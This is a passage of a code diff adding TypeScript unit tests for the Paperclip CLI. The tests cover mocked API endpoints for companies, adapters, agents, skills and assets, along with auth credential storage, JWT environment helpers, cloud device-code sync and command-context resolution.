await run(["company", "export:preview", COMPANY_ID, "--payload-json", "{}"]);
await run(["company", "export:api", COMPANY_ID, "--payload-json", "{}"]);
await run(["company", "import:preview", COMPANY_ID, "--payload-json", "{}"]);
await run(["company", "import:apply", COMPANY_ID, "--payload-json", "{}"]);
expect(fetchMock.mock.calls.map((call) => [call[1]?.method ?? "GET", call[0]])).toEqual([
["GET", "http://localhost:3100/api/companies/stats"],
["POST", "http://localhost:3100/api/companies"],
["PATCH", `http://localhost:3100/api/companies/${COMPANY_ID}`],
["PATCH", `http://localhost:3100/api/companies/${COMPANY_ID}/branding`],
["POST", `http://localhost:3100/api/companies/${COMPANY_ID}/archive`],
["POST", `http://localhost:3100/api/companies/${COMPANY_ID}/exports/preview`],
["POST", `http://localhost:3100/api/companies/${COMPANY_ID}/exports`],
["POST", `http://localhost:3100/api/companies/${COMPANY_ID}/imports/preview`],
["POST", `http://localhost:3100/api/companies/${COMPANY_ID}/imports/apply`],
]);
});
it("wraps adapter management and company adapter endpoints", async () => {
const fetchMock = vi.fn().mockImplementation(() => Promise.resolve(jsonResponse()));
vi.stubGlobal("fetch", fetchMock);
await run(["adapter", "list"]);
await run(["adapter", "install", "--payload-json", "{\"packageName\":\"adapter\"}"]);
await run(["adapter", "get", "codex_local"]);
await run(["adapter", "get", "codex/local"]);
await run(["adapter", "update", "codex_local", "--payload-json", "{\"disabled\":true}"]);
await run(["adapter", "override", "codex_local", "--payload-json", "{\"paused\":true}"]);
await run(["adapter", "reload", "codex_local"]);
await run(["adapter", "reinstall", "codex_local"]);
await run(["adapter", "config-schema", "codex_local"]);
await run(["adapter", "ui-parser", "codex_local"]);
await run(["adapter", "models", "codex_local", "--company-id", COMPANY_ID, "--refresh", "--environment-id", "env-1"]);
await run(["adapter", "model-profiles", "codex_local", "--company-id", COMPANY_ID]);
await run(["adapter", "detect-model", "codex_local", "--company-id", COMPANY_ID]);
await run(["adapter", "test-environment", "codex_local", "--company-id", COMPANY_ID, "--payload-json", "{}"]);
await run(["adapter", "delete", "codex_local"]);
expect(fetchMock.mock.calls.map((call) => [call[1]?.method ?? "GET", call[0]])).toEqual([
["GET", "http://localhost:3100/api/adapters"],
["POST", "http://localhost:3100/api/adapters/install"],
["GET", "http://localhost:3100/api/adapters/codex_local"],
["GET", "http://localhost:3100/api/adapters/codex%2Flocal"],
["PATCH", "http://localhost:3100/api/adapters/codex_local"],
["PATCH", "http://localhost:3100/api/adapters/codex_local/override"],
["POST", "http://localhost:3100/api/adapters/codex_local/reload"],
["POST", "http://localhost:3100/api/adapters/codex_local/reinstall"],
["GET", "http://localhost:3100/api/adapters/codex_local/config-schema"],
["GET", "http://localhost:3100/api/adapters/codex_local/ui-parser.js"],
["GET", `http://localhost:3100/api/companies/${COMPANY_ID}/adapters/codex_local/models?refresh=true&environmentId=env-1`],
["GET", `http://localhost:3100/api/companies/${COMPANY_ID}/adapters/codex_local/model-profiles`],
["GET", `http://localhost:3100/api/companies/${COMPANY_ID}/adapters/codex_local/detect-model`],
["POST", `http://localhost:3100/api/companies/${COMPANY_ID}/adapters/codex_local/test-environment`],
["DELETE", "http://localhost:3100/api/adapters/codex_local"],
]);
});
it("wraps asset upload/download endpoints", async () => {
const imagePath = path.join(tempDir, "logo.png");
const outputPath = path.join(tempDir, "asset.bin");
await writeFile(imagePath, Buffer.from("png"));
const fetchMock = vi
.fn()
.mockImplementationOnce(() => Promise.resolve(jsonResponse({ assetId: ASSET_ID }, { status: 201 })))
.mockImplementationOnce(() => Promise.resolve(jsonResponse({ assetId: ASSET_ID }, { status: 201 })))
.mockImplementationOnce(() => Promise.resolve(new Response("asset-bytes")));
vi.stubGlobal("fetch", fetchMock);
await run(["asset", "image:upload", "--company-id", COMPANY_ID, "--file", imagePath, "--namespace", "docs", "--alt", "Logo"]);
await run(["asset", "logo:upload", "--company-id", COMPANY_ID, "--file", imagePath]);
await run(["asset", "content", ASSET_ID, "--out", outputPath]);
expect(fetchMock.mock.calls.map((call) => [call[1]?.method ?? "GET", call[0]])).toEqual([
["POST", `http://localhost:3100/api/companies/${COMPANY_ID}/assets/images`],
["POST", `http://localhost:3100/api/companies/${COMPANY_ID}/logo`],
["GET", `http://localhost:3100/api/assets/${ASSET_ID}/content`],
]);
const firstUpload = fetchMock.mock.calls[0]?.[1]?.body as FormData;
expect((firstUpload.get("file") as File).type).toBe("image/png");
});
it("rejects portable export paths outside the output directory", async () => {
expect(() => resolveExportOutputPath(tempDir, "../outside.md")).toThrow("outside output directory");
});
it("wraps company skill endpoints", async () => {
const fetchMock = vi.fn().mockImplementation(() => Promise.resolve(jsonResponse()));
vi.stubGlobal("fetch", fetchMock);
await run(["skill", "list", "--company-id", COMPANY_ID]);
await run(["skill", "get", SKILL_ID, "--company-id", COMPANY_ID]);
await run(["skill", "file", SKILL_ID, "--company-id", COMPANY_ID, "--path", "SKILL.md"]);
await run(["skill", "create", "--company-id", COMPANY_ID, "--payload-json", "{}"]);
await run(["skill", "file:update", SKILL_ID, "--company-id", COMPANY_ID, "--payload-json", "{}"]);
await run(["skill", "import", "--company-id", COMPANY_ID, "--payload-json", "{}"]);
await run(["skill", "scan-projects", "--company-id", COMPANY_ID, "--payload-json", "{}"]);
await run(["skill", "update-status", SKILL_ID, "--company-id", COMPANY_ID]);
await run(["skill", "install-update", SKILL_ID, "--company-id", COMPANY_ID]);
await run(["skill", "delete", SKILL_ID, "--company-id", COMPANY_ID]);
expect(fetchMock.mock.calls.map((call) => [call[1]?.method ?? "GET", call[0]])).toEqual([
["GET", `http://localhost:3100/api/companies/${COMPANY_ID}/skills`],
["GET", `http://localhost:3100/api/companies/${COMPANY_ID}/skills/${SKILL_ID}`],
["GET", `http://localhost:3100/api/companies/${COMPANY_ID}/skills/${SKILL_ID}/files?path=SKILL.md`],
["POST", `http://localhost:3100/api/companies/${COMPANY_ID}/skills`],
["PATCH", `http://localhost:3100/api/companies/${COMPANY_ID}/skills/${SKILL_ID}/files`],
["POST", `http://localhost:3100/api/companies/${COMPANY_ID}/skills/import`],
["POST", `http://localhost:3100/api/companies/${COMPANY_ID}/skills/scan-projects`],
["GET", `http://localhost:3100/api/companies/${COMPANY_ID}/skills/${SKILL_ID}/update-status`],
["POST", `http://localhost:3100/api/companies/${COMPANY_ID}/skills/${SKILL_ID}/install-update`],
["DELETE", `http://localhost:3100/api/companies/${COMPANY_ID}/skills/${SKILL_ID}`],
]);
});
});
function jsonResponse(body: unknown = { ok: true }, init: ResponseInit = { status: 200 }): Response {
return new Response(JSON.stringify(body), init);
}
+79
View File
@@ -0,0 +1,79 @@
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
import {
ensureAgentJwtSecret,
mergePaperclipEnvEntries,
readAgentJwtSecretFromEnv,
readPaperclipEnvEntries,
resolveAgentJwtEnvFile,
} from "../config/env.js";
import { agentJwtSecretCheck } from "../checks/agent-jwt-secret-check.js";
const ORIGINAL_ENV = { ...process.env };
function tempConfigPath(): string {
const dir = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-jwt-env-"));
const configDir = path.join(dir, "custom");
fs.mkdirSync(configDir, { recursive: true });
return path.join(configDir, "config.json");
}
describe("agent jwt env helpers", () => {
beforeEach(() => {
process.env = { ...ORIGINAL_ENV };
delete process.env.PAPERCLIP_AGENT_JWT_SECRET;
});
afterEach(() => {
process.env = { ...ORIGINAL_ENV };
});
it("writes .env next to explicit config path", () => {
const configPath = tempConfigPath();
const result = ensureAgentJwtSecret(configPath);
expect(result.created).toBe(true);
const envPath = resolveAgentJwtEnvFile(configPath);
expect(fs.existsSync(envPath)).toBe(true);
const contents = fs.readFileSync(envPath, "utf-8");
expect(contents).toContain("PAPERCLIP_AGENT_JWT_SECRET=");
});
it("loads secret from .env next to explicit config path", () => {
const configPath = tempConfigPath();
const envPath = resolveAgentJwtEnvFile(configPath);
fs.writeFileSync(envPath, "PAPERCLIP_AGENT_JWT_SECRET=test-secret\n", { mode: 0o600 });
const loaded = readAgentJwtSecretFromEnv(configPath);
expect(loaded).toBe("test-secret");
expect(process.env.PAPERCLIP_AGENT_JWT_SECRET).toBe("test-secret");
});
it("doctor check passes when secret exists in adjacent .env", () => {
const configPath = tempConfigPath();
const envPath = resolveAgentJwtEnvFile(configPath);
fs.writeFileSync(envPath, "PAPERCLIP_AGENT_JWT_SECRET=check-secret\n", { mode: 0o600 });
const result = agentJwtSecretCheck(configPath);
expect(result.status).toBe("pass");
});
it("quotes hash-prefixed env values so dotenv round-trips them", () => {
const configPath = tempConfigPath();
const envPath = resolveAgentJwtEnvFile(configPath);
mergePaperclipEnvEntries(
{
PAPERCLIP_WORKTREE_COLOR: "#439edb",
},
envPath,
);
const contents = fs.readFileSync(envPath, "utf-8");
expect(contents).toContain('PAPERCLIP_WORKTREE_COLOR="#439edb"');
expect(readPaperclipEnvEntries(envPath).PAPERCLIP_WORKTREE_COLOR).toBe("#439edb");
});
});
+117
View File
@@ -0,0 +1,117 @@
import { Command } from "commander";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import { registerAgentCommands } from "../commands/client/agent.js";
const COMPANY_ID = "22222222-2222-4222-8222-222222222222";
const AGENT_ID = "11111111-1111-4111-8111-111111111111";
const REVISION_ID = "33333333-3333-4333-8333-333333333333";
function createProgram(): Command {
const program = new Command();
program.exitOverride();
program.configureOutput({
writeOut: () => {},
writeErr: () => {},
});
registerAgentCommands(program);
return program;
}
async function run(args: string[]): Promise<void> {
await createProgram().parseAsync([
...args,
"--api-base", "http://localhost:3100",
"--api-key", "board-token",
], { from: "user" });
}
describe("agent lifecycle commands", () => {
beforeEach(() => {
vi.restoreAllMocks();
delete process.env.PAPERCLIP_API_KEY;
delete process.env.PAPERCLIP_API_URL;
vi.spyOn(console, "log").mockImplementation(() => {});
});
afterEach(() => {
vi.restoreAllMocks();
});
it("wraps agent lifecycle and state endpoints", async () => {
const fetchMock = vi.fn().mockImplementation(() => Promise.resolve(jsonResponse()));
vi.stubGlobal("fetch", fetchMock);
await run([
"agent", "create",
"--company-id", COMPANY_ID,
"--payload-json", JSON.stringify({ name: "Builder", adapterType: "codex_local" }),
]);
await run(["agent", "hire", "--company-id", COMPANY_ID, "--payload-json", "{}"]);
await run(["agent", "update", AGENT_ID, "--payload-json", JSON.stringify({ title: "Senior Builder" })]);
await run(["agent", "pause", AGENT_ID]);
await run(["agent", "resume", AGENT_ID]);
await run(["agent", "approve", AGENT_ID]);
await run(["agent", "terminate", AGENT_ID]);
await run(["agent", "heartbeat:invoke", AGENT_ID]);
await run(["agent", "claude-login", AGENT_ID]);
await run(["agent", "delete", AGENT_ID, "--yes"]);
expect(fetchMock.mock.calls.map((call) => [call[1]?.method ?? "GET", call[0]])).toEqual([
["POST", `http://localhost:3100/api/companies/${COMPANY_ID}/agents`],
["POST", `http://localhost:3100/api/companies/${COMPANY_ID}/agent-hires`],
["PATCH", `http://localhost:3100/api/agents/${AGENT_ID}`],
["POST", `http://localhost:3100/api/agents/${AGENT_ID}/pause`],
["POST", `http://localhost:3100/api/agents/${AGENT_ID}/resume`],
["POST", `http://localhost:3100/api/agents/${AGENT_ID}/approve`],
["POST", `http://localhost:3100/api/agents/${AGENT_ID}/terminate`],
["POST", `http://localhost:3100/api/agents/${AGENT_ID}/heartbeat/invoke`],
["POST", `http://localhost:3100/api/agents/${AGENT_ID}/claude-login`],
["DELETE", `http://localhost:3100/api/agents/${AGENT_ID}`],
]);
});
it("wraps configuration, runtime, skills, and instructions endpoints", async () => {
const fetchMock = vi.fn().mockImplementation(() => Promise.resolve(jsonResponse()));
vi.stubGlobal("fetch", fetchMock);
await run(["agent", "permissions:update", AGENT_ID, "--payload-json", JSON.stringify({ canCreateAgents: true, canAssignTasks: true })]);
await run(["agent", "configuration", AGENT_ID]);
await run(["agent", "config-revisions", AGENT_ID]);
await run(["agent", "config-revision:get", AGENT_ID, REVISION_ID]);
await run(["agent", "config-revision:rollback", AGENT_ID, REVISION_ID]);
await run(["agent", "runtime-state", AGENT_ID]);
await run(["agent", "runtime-state:reset-session", AGENT_ID, "--task-key", "task-1"]);
await run(["agent", "task-sessions", AGENT_ID]);
await run(["agent", "skills", AGENT_ID]);
await run(["agent", "skills:sync", AGENT_ID, "--desired-skills", "paperclip,github"]);
await run(["agent", "instructions-path:update", AGENT_ID, "--payload-json", JSON.stringify({ path: "/tmp/AGENTS.md" })]);
await run(["agent", "instructions-bundle", AGENT_ID]);
await run(["agent", "instructions-bundle:update", AGENT_ID, "--payload-json", JSON.stringify({ mode: "managed" })]);
await run(["agent", "instructions-file:get", AGENT_ID, "--path", "AGENTS.md"]);
await run(["agent", "instructions-file:put", AGENT_ID, "--path", "AGENTS.md", "--content", "hello"]);
await run(["agent", "instructions-file:delete", AGENT_ID, "--path", "AGENTS.md"]);
expect(fetchMock.mock.calls.map((call) => [call[1]?.method ?? "GET", call[0]])).toEqual([
["PATCH", `http://localhost:3100/api/agents/${AGENT_ID}/permissions`],
["GET", `http://localhost:3100/api/agents/${AGENT_ID}/configuration`],
["GET", `http://localhost:3100/api/agents/${AGENT_ID}/config-revisions`],
["GET", `http://localhost:3100/api/agents/${AGENT_ID}/config-revisions/${REVISION_ID}`],
["POST", `http://localhost:3100/api/agents/${AGENT_ID}/config-revisions/${REVISION_ID}/rollback`],
["GET", `http://localhost:3100/api/agents/${AGENT_ID}/runtime-state`],
["POST", `http://localhost:3100/api/agents/${AGENT_ID}/runtime-state/reset-session`],
["GET", `http://localhost:3100/api/agents/${AGENT_ID}/task-sessions`],
["GET", `http://localhost:3100/api/agents/${AGENT_ID}/skills`],
["POST", `http://localhost:3100/api/agents/${AGENT_ID}/skills/sync`],
["PATCH", `http://localhost:3100/api/agents/${AGENT_ID}/instructions-path`],
["GET", `http://localhost:3100/api/agents/${AGENT_ID}/instructions-bundle`],
["PATCH", `http://localhost:3100/api/agents/${AGENT_ID}/instructions-bundle`],
["GET", `http://localhost:3100/api/agents/${AGENT_ID}/instructions-bundle/file?path=AGENTS.md`],
["PUT", `http://localhost:3100/api/agents/${AGENT_ID}/instructions-bundle/file`],
["DELETE", `http://localhost:3100/api/agents/${AGENT_ID}/instructions-bundle/file?path=AGENTS.md`],
]);
});
});
function jsonResponse(body: unknown = { ok: true }, init: ResponseInit = { status: 200 }): Response {
return new Response(JSON.stringify(body), init);
}
@@ -0,0 +1,80 @@
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import { describe, expect, it } from "vitest";
import type { PaperclipConfig } from "../config/schema.js";
import { addAllowedHostname } from "../commands/allowed-hostname.js";
function createTempConfigPath() {
const dir = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-allowed-hostname-"));
return path.join(dir, "config.json");
}
function writeBaseConfig(configPath: string) {
const base: PaperclipConfig = {
$meta: {
version: 1,
updatedAt: new Date("2026-01-01T00:00:00.000Z").toISOString(),
source: "configure",
},
database: {
mode: "embedded-postgres",
embeddedPostgresDataDir: "/tmp/paperclip-db",
embeddedPostgresPort: 54329,
backup: {
enabled: true,
intervalMinutes: 60,
retentionDays: 30,
dir: "/tmp/paperclip-backups",
},
},
logging: {
mode: "file",
logDir: "/tmp/paperclip-logs",
},
server: {
deploymentMode: "authenticated",
exposure: "private",
host: "0.0.0.0",
port: 3100,
allowedHostnames: [],
serveUi: true,
},
auth: {
baseUrlMode: "auto",
disableSignUp: false,
},
telemetry: {
enabled: true,
},
storage: {
provider: "local_disk",
localDisk: { baseDir: "/tmp/paperclip-storage" },
s3: {
bucket: "paperclip",
region: "us-east-1",
prefix: "",
forcePathStyle: false,
},
},
secrets: {
provider: "local_encrypted",
strictMode: false,
localEncrypted: { keyFilePath: "/tmp/paperclip-secrets/master.key" },
},
};
fs.writeFileSync(configPath, JSON.stringify(base, null, 2));
}
describe("allowed-hostname command", () => {
it("adds and normalizes hostnames", async () => {
const configPath = createTempConfigPath();
writeBaseConfig(configPath);
await addAllowedHostname("https://Dotta-MacBook-Pro:3100", { config: configPath });
await addAllowedHostname("dotta-macbook-pro", { config: configPath });
const raw = JSON.parse(fs.readFileSync(configPath, "utf-8")) as PaperclipConfig;
expect(raw.server.allowedHostnames).toEqual(["dotta-macbook-pro"]);
});
});
@@ -0,0 +1,80 @@
import { Command } from "commander";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import { registerClientAuthCommands } from "../commands/client/auth.js";
describe("registerClientAuthCommands", () => {
it("registers auth commands without duplicate company-id flags", () => {
const program = new Command();
const auth = program.command("auth");
expect(() => registerClientAuthCommands(auth)).not.toThrow();
const login = auth.commands.find((command) => command.name() === "login");
expect(login).toBeDefined();
expect(login?.options.filter((option) => option.long === "--company-id")).toHaveLength(1);
});
it("registers the --no-browser flag on login", () => {
const program = new Command();
const auth = program.command("auth");
registerClientAuthCommands(auth);
const login = auth.commands.find((command) => command.name() === "login");
expect(login?.options.some((option) => option.long === "--no-browser")).toBe(true);
});
});
describe("client auth API commands", () => {
beforeEach(() => {
vi.restoreAllMocks();
delete process.env.PAPERCLIP_API_KEY;
delete process.env.PAPERCLIP_API_URL;
delete process.env.PAPERCLIP_TEST_CHALLENGE_TOKEN;
vi.spyOn(console, "log").mockImplementation(() => {});
});
afterEach(() => {
vi.restoreAllMocks();
});
it("wraps CLI auth challenge endpoints", async () => {
const fetchMock = vi.fn().mockImplementation(() => Promise.resolve(jsonResponse()));
vi.stubGlobal("fetch", fetchMock);
async function run(args: string[]) {
const program = new Command();
const auth = program.command("auth");
program.exitOverride();
program.configureOutput({ writeOut: () => {}, writeErr: () => {} });
registerClientAuthCommands(auth);
await program.parseAsync([
"auth",
...args,
"--api-base", "http://localhost:3100",
"--api-key", "board-token",
], { from: "user" });
}
await run(["challenge", "create", "--payload-json", "{}"]);
await run(["challenge", "get", "challenge-1", "--token", "secret"]);
await run(["challenge", "approve", "challenge-1", "--token", "secret"]);
process.env.PAPERCLIP_TEST_CHALLENGE_TOKEN = "env-secret";
await run(["challenge", "approve", "challenge/2", "--token-env", "PAPERCLIP_TEST_CHALLENGE_TOKEN"]);
await run(["challenge", "cancel", "challenge-1", "--token", "secret"]);
await run(["revoke-current"]);
expect(fetchMock.mock.calls.map((call) => [call[1]?.method ?? "GET", call[0]])).toEqual([
["POST", "http://localhost:3100/api/cli-auth/challenges"],
["GET", "http://localhost:3100/api/cli-auth/challenges/challenge-1?token=secret"],
["POST", "http://localhost:3100/api/cli-auth/challenges/challenge-1/approve"],
["POST", "http://localhost:3100/api/cli-auth/challenges/challenge%2F2/approve"],
["POST", "http://localhost:3100/api/cli-auth/challenges/challenge-1/cancel"],
["POST", "http://localhost:3100/api/cli-auth/revoke-current"],
]);
expect(JSON.parse(String(fetchMock.mock.calls[3]?.[1]?.body))).toEqual({ token: "env-secret" });
});
});
function jsonResponse(body: unknown = { ok: true }, init: ResponseInit = { status: 200 }): Response {
return new Response(JSON.stringify(body), init);
}
+53
View File
@@ -0,0 +1,53 @@
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import { describe, expect, it } from "vitest";
import {
getStoredBoardCredential,
readBoardAuthStore,
removeStoredBoardCredential,
setStoredBoardCredential,
} from "../client/board-auth.js";
function createTempAuthPath(): string {
const dir = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-cli-auth-"));
return path.join(dir, "auth.json");
}
describe("board auth store", () => {
it("returns an empty store when the file does not exist", () => {
const authPath = createTempAuthPath();
expect(readBoardAuthStore(authPath)).toEqual({
version: 1,
credentials: {},
});
});
it("stores and retrieves credentials by normalized api base", () => {
const authPath = createTempAuthPath();
setStoredBoardCredential({
apiBase: "http://localhost:3100/",
token: "token-123",
userId: "user-1",
storePath: authPath,
});
expect(getStoredBoardCredential("http://localhost:3100", authPath)).toMatchObject({
apiBase: "http://localhost:3100",
token: "token-123",
userId: "user-1",
});
});
it("removes stored credentials", () => {
const authPath = createTempAuthPath();
setStoredBoardCredential({
apiBase: "http://localhost:3100",
token: "token-123",
storePath: authPath,
});
expect(removeStoredBoardCredential("http://localhost:3100", authPath)).toBe(true);
expect(getStoredBoardCredential("http://localhost:3100", authPath)).toBeNull();
});
});
+243
View File
@@ -0,0 +1,243 @@
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import type { CompanyPortabilityExportResult } from "@paperclipai/shared";
import {
assertDiscoveryCompatible,
buildBundleFromLocalCompany,
cloudCommandExitCodes,
connectCloud,
resolveDeviceCodeExpiresAt,
} from "../commands/client/cloud.js";
import {
LocalUpstreamPushCoordinator,
normalizedContentHash,
type LocalUpstreamExportBundle,
} from "../commands/client/cloud-transfer.js";
import { getCloudConnection } from "../commands/client/cloud-store.js";
const originalEnv = { ...process.env };
const originalFetch = globalThis.fetch;
describe("cloud CLI helpers", () => {
let tempHome: string;
beforeEach(() => {
tempHome = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-cloud-cli-"));
process.env = { ...originalEnv, PAPERCLIP_HOME: tempHome };
});
afterEach(() => {
process.env = { ...originalEnv };
globalThis.fetch = originalFetch;
vi.restoreAllMocks();
fs.rmSync(tempHome, { recursive: true, force: true });
});
it("connects with the device-code flow and stores the resulting cloud connection", async () => {
globalThis.fetch = vi.fn(async (url, init) => {
const requestUrl = String(url);
if (requestUrl.endsWith("/.well-known/paperclip-upstream")) {
return jsonResponse(discovery());
}
if (requestUrl.endsWith("/api/upstream-sync/device-code")) {
expect(JSON.parse(String(init?.body))).toMatchObject({
stackId: "stack-1",
scopes: ["upstream_import:preview", "upstream_import:write", "upstream_import:read"],
});
return jsonResponse({
deviceCode: "device-1",
userCode: "ABCD-EFGH",
verificationUri: "https://cloud.example.test/api/upstream-sync/device-code/approve",
expiresAt: new Date(Date.now() + 60_000).toISOString(),
intervalSeconds: 0,
});
}
if (requestUrl.endsWith("/api/upstream-sync/token")) {
return jsonResponse({
accessToken: "upt_test",
scopes: ["upstream_import:preview"],
token: {
id: "token-1",
companyStackId: "stack-1",
targetOrigin: "https://cloud.example.test",
sourceInstanceId: "paperclip-local-default",
sourceInstanceFingerprint: "sha256:test",
scopes: ["upstream_import:preview"],
expiresAt: new Date(Date.now() + 60_000).toISOString(),
},
});
}
return jsonResponse({ error: "not_found" }, 404);
}) as typeof fetch;
const connection = await connectCloud("https://cloud.example.test", { noBrowser: true, json: true });
expect(connection.accessToken).toBe("upt_test");
expect(getCloudConnection("https://cloud.example.test")?.token.id).toBe("token-1");
});
it("hard-blocks incompatible transfer schema versions with the stable schema exit code", () => {
expect(() => assertDiscoveryCompatible(discovery({ supportedSchemaMajor: 99 }))).toThrow(/schema mismatch/i);
expect(cloudCommandExitCodes.schemaMismatch).toBe(3);
});
it("falls back to a bounded device-code expiry when the cloud omits or malforms expiresAt", () => {
const now = Date.UTC(2026, 4, 22, 13, 0, 0);
const validExpiry = "2026-05-22T13:05:00.000Z";
expect(resolveDeviceCodeExpiresAt(validExpiry, now)).toBe(Date.parse(validExpiry));
expect(resolveDeviceCodeExpiresAt(undefined, now)).toBe(now + 15 * 60_000);
expect(resolveDeviceCodeExpiresAt("not-a-date", now)).toBe(now + 15 * 60_000);
});
it("builds deterministic chunks with validated payload hashes", async () => {
const bundle = await buildTestBundle();
expect(bundle.chunks).toHaveLength(2);
expect(bundle.chunks[0]?.sha256).toBe(normalizedContentHash(bundle.chunks[0]?.payload));
expect(bundle.manifest.chunks[0]?.manifestHash).toBe(bundle.manifest.manifestHash);
expect(bundle.manifest.idempotencyKey).toBe((await buildTestBundle()).manifest.idempotencyKey);
});
it("reuses the same manifest and chunk identity when an interrupted apply is retried", async () => {
const bundle = await buildTestBundle();
const calls: Array<{ path: string; body: unknown }> = [];
const coordinator = new LocalUpstreamPushCoordinator({
targetOrigin: "https://cloud.example.test",
paperclipCompanyId: "target-company-1",
fetch: async (url, init) => {
const parsed = new URL(String(url));
const body = init?.body ? JSON.parse(String(init.body)) as unknown : {};
calls.push({ path: parsed.pathname, body });
if (parsed.pathname.endsWith("/runs")) return jsonResponse({ run: { id: "run-1" } });
return jsonResponse({ run: { id: "run-1" }, summary: { create: 0, update: 0, adopt: 0, skip: 2, conflict: 0, staleMapping: 0 } });
},
});
await coordinator.apply(bundle);
await coordinator.apply(bundle);
const runBodies = calls.filter((call) => call.path.endsWith("/runs")).map((call) => call.body as { manifest: { idempotencyKey: string } });
const chunkBodies = calls.filter((call) => call.path.endsWith("/chunks")).map((call) => call.body as { chunkIndex: number; sha256: string });
expect(runBodies).toHaveLength(2);
expect(runBodies[0]?.manifest.idempotencyKey).toBe(runBodies[1]?.manifest.idempotencyKey);
expect(chunkBodies[0]).toEqual(chunkBodies[2]);
expect(chunkBodies[1]).toEqual(chunkBodies[3]);
});
});
async function buildTestBundle(): Promise<LocalUpstreamExportBundle> {
return buildBundleFromLocalCompany({
localCompanyId: "local-company-1",
connection: {
id: "conn-1",
remoteUrl: "https://cloud.example.test",
targetOrigin: "https://cloud.example.test",
targetHost: "cloud.example.test",
stackId: "stack-1",
targetCompanyId: "target-company-1",
accessToken: "upt_test",
token: {
id: "token-1",
companyStackId: "stack-1",
targetOrigin: "https://cloud.example.test",
sourceInstanceId: "paperclip-local-default",
sourceInstanceFingerprint: "sha256:test",
scopes: ["upstream_import:preview"],
expiresAt: new Date(Date.now() + 60_000).toISOString(),
},
privateKeyPem: "unused",
sourcePublicKey: "unused",
sourceInstanceId: "paperclip-local-default",
sourceInstanceFingerprint: "sha256:test",
scopes: ["upstream_import:preview"],
createdAt: "2026-05-18T00:00:00.000Z",
updatedAt: "2026-05-18T00:00:00.000Z",
},
discovery: discovery(),
localApi: {
post: async <T>() => portabilityExport() as T,
},
maxEntitiesPerChunk: 1,
mode: "apply",
});
}
function discovery(overrides: Partial<{ supportedSchemaMajor: number }> = {}) {
return {
schema: "paperclip-upstream-discovery-v1",
stack: {
id: "stack-1",
slug: "cloud-test",
displayName: "Cloud Test",
companyId: "target-company-1",
origin: "https://cloud.example.test",
},
auth: {
deviceCode: {
deviceCodeUrl: "https://cloud.example.test/api/upstream-sync/device-code",
verificationUrl: "https://cloud.example.test/api/upstream-sync/device-code/approve",
tokenUrl: "https://cloud.example.test/api/upstream-sync/token",
},
scopes: ["upstream_import:preview", "upstream_import:write", "upstream_import:read"],
},
transfer: {
supportedSchemaMajor: overrides.supportedSchemaMajor ?? 1,
featureFlags: ["cloud_sync"],
},
};
}
function portabilityExport(): CompanyPortabilityExportResult {
return {
rootPath: ".",
paperclipExtensionPath: ".paperclip.yaml",
manifest: {
schemaVersion: 1,
generatedAt: "2026-05-18T00:00:00.000Z",
source: {
companyId: "local-company-1",
companyName: "Local Company",
},
includes: {
company: true,
agents: true,
projects: true,
issues: true,
skills: true,
},
company: {
path: "company.json",
name: "Local Company",
description: null,
brandColor: null,
logoPath: null,
attachmentMaxBytes: null,
requireBoardApprovalForNewAgents: false,
feedbackDataSharingEnabled: false,
feedbackDataSharingConsentAt: null,
feedbackDataSharingConsentByUserId: null,
feedbackDataSharingTermsVersion: null,
},
sidebar: null,
agents: [],
skills: [],
projects: [],
issues: [],
envInputs: [],
},
files: {
"README.md": "Local Company",
},
warnings: [],
};
}
function jsonResponse(body: unknown, status = 200): Response {
return new Response(JSON.stringify(body), {
status,
headers: { "Content-Type": "application/json" },
});
}
+187
View File
@@ -0,0 +1,187 @@
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
import { writeContext } from "../client/context.js";
import { setStoredBoardCredential } from "../client/board-auth.js";
import { inferContentTypeFromPath, resolveApiBase, resolveCommandContext } from "../commands/client/common.js";
const ORIGINAL_ENV = { ...process.env };
function createTempPath(name: string): string {
const dir = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-cli-common-"));
return path.join(dir, name);
}
describe("resolveCommandContext", () => {
beforeEach(() => {
process.env = { ...ORIGINAL_ENV };
delete process.env.PAPERCLIP_API_URL;
delete process.env.PAPERCLIP_API_KEY;
delete process.env.PAPERCLIP_COMPANY_ID;
delete process.env.PAPERCLIP_AUTH_STORE;
delete process.env.PAPERCLIP_SERVER_PORT;
});
afterEach(() => {
process.env = { ...ORIGINAL_ENV };
});
it("uses profile defaults when options/env are not provided", () => {
const contextPath = createTempPath("context.json");
writeContext(
{
version: 2,
currentProfile: "ops",
profiles: {
ops: {
apiBase: "http://127.0.0.1:9999",
companyId: "company-profile",
apiKeyEnvVarName: "AGENT_KEY",
},
},
},
contextPath,
);
process.env.AGENT_KEY = "key-from-env";
const resolved = resolveCommandContext({ context: contextPath }, { requireCompany: true });
expect(resolved.api.apiBase).toBe("http://127.0.0.1:9999");
expect(resolved.companyId).toBe("company-profile");
expect(resolved.api.apiKey).toBe("key-from-env");
});
it("prefers explicit options over profile values", () => {
const contextPath = createTempPath("context.json");
writeContext(
{
version: 2,
currentProfile: "default",
profiles: {
default: {
apiBase: "http://profile:3100",
companyId: "company-profile",
},
},
},
contextPath,
);
const resolved = resolveCommandContext(
{
context: contextPath,
apiBase: "http://override:3200",
apiKey: "direct-token",
companyId: "company-override",
},
{ requireCompany: true },
);
expect(resolved.api.apiBase).toBe("http://override:3200");
expect(resolved.companyId).toBe("company-override");
expect(resolved.api.apiKey).toBe("direct-token");
});
it("throws when company is required but unresolved", () => {
const contextPath = createTempPath("context.json");
writeContext(
{
version: 2,
currentProfile: "default",
profiles: { default: {} },
},
contextPath,
);
expect(() =>
resolveCommandContext({ context: contextPath, apiBase: "http://localhost:3100" }, { requireCompany: true }),
).toThrow(/Company ID is required/);
});
it("resolves api base by explicit, env, profile, then config/default precedence", () => {
const configPath = createTempPath("config.json");
fs.writeFileSync(configPath, JSON.stringify({
